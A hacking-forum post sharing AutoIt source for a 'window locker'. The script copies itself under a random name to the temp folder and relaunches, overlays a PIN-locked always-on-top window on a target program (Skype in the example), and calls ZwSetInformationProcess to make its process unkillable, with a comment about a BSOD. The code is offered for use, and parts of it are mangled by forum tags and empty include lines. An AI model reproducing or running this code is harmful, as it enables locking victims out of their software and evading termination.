• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

AutoIT Window locker example [src.]

Status
Not open for further replies.

Skydno

NOT IN SPAIN
User
Joined
Jan 14, 2015
Messages
33
Reputation
0
Reaction score
319
Points
53
Credits
0
‎10 Years of Service‎
66%
[HIDE-THANKS]

Code:
>;Special for LeVeL-23
;http://level23hacktools.com/

#NoTrayIcon
#include 
#include 
#include 
#include 

If @ScriptDir <> [MENTION=7239]Temp[/MENTION]Dir Then
$sRand = Random(1000, 9999, 1) & "." & Random(1000, 9999, 1)

FileCopy(@AutoItExe, [MENTION=7239]Temp[/MENTION]Dir & "" & $sRand)
Run [MENTION=7239]Temp[/MENTION]Dir & "" & $sRand)
Exit
EndIf

Global $iPin = 1234

sLockForm("Skype") ; <== Here window title to lock.

Func sLockForm($sTitle)
;WinWaitActive($sTitle)

$aTmpArr = WinGetPos($sTitle)

$LockForm = GUICreate(Random(1000, 9999, 1), $aTmpArr[2] - 3, $aTmpArr[3] - 28, $aTmpArr[0], $aTmpArr[1], BitOR($WS_SYSMENU,$WS_POPUP), BitOR($WS_EX_TOOLWINDOW,$WS_EX_WINDOWEDGE))
$Input = GUICtrlCreateInput("1234", 2, 2, 75, 21, BitOR($GUI_SS_DEFAULT_INPUT,$ES_PASSWORD,$ES_NUMBER))
GUICtrlSetResizing(-1, $GUI_DOCKHCENTER+$GUI_DOCKVCENTER+$GUI_DOCKWIDTH+$GUI_DOCKHEIGHT)
$btnCheck = GUICtrlCreateButton("Unlock", 2, 38, 75, 21)
WinSetontop($LockForm, "", 1)
GUISetState(@SW_SHOW)

sNonKillableProcess()

While 1
	$aTmpArr = WinGetPos($sTitle)
	WinMove($LockForm, "", $aTmpArr[0], $aTmpArr[1], $aTmpArr[2], $aTmpArr[3])
	$nMsg = GUIGetMsg()
	Switch $nMsg
		Case $btnCheck
			If GuiCtrlRead($Input) == $iPin Then
				Exit
			Else
				ToolTip("Wrong PIN!",$aTmpArr[0] + (2 + 75), $aTmpArr[1] + (38 + 21),"Error",3,1)
			EndIf
	EndSwitch
WEnd
EndFunc

Func sNonKillableProcess()
Local $sProcessHandle, $sSignedvalue, $ProcessIoPriority, $sProcessInformationLength, $sStruct
If Not @Compiled Then Exit
$sProcessHandle = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
$sSignedvalue = 0x8000F129 ;0xFFFFFFFF (BSOD not work on Win7 x86 )
$ProcessIoPriority = 0x21
$sProcessInformationLength = 0x4
$sStruct = DllStructCreate("Byte[4]")
DllStructSetData($sStruct, 1, $sSignedvalue)
$sRet = DllCall("ntdll.dll", "none", "ZwSetInformationProcess", "int", $sProcessHandle[0], "int", _
$ProcessIoPriority, "int", DllStructGetPtr($sStruct), "int", $sProcessInformationLength)
EndFunc   ;==>sNonKillableProcess
[/HIDE-THANKS]

 
Status
Not open for further replies.
Back
Top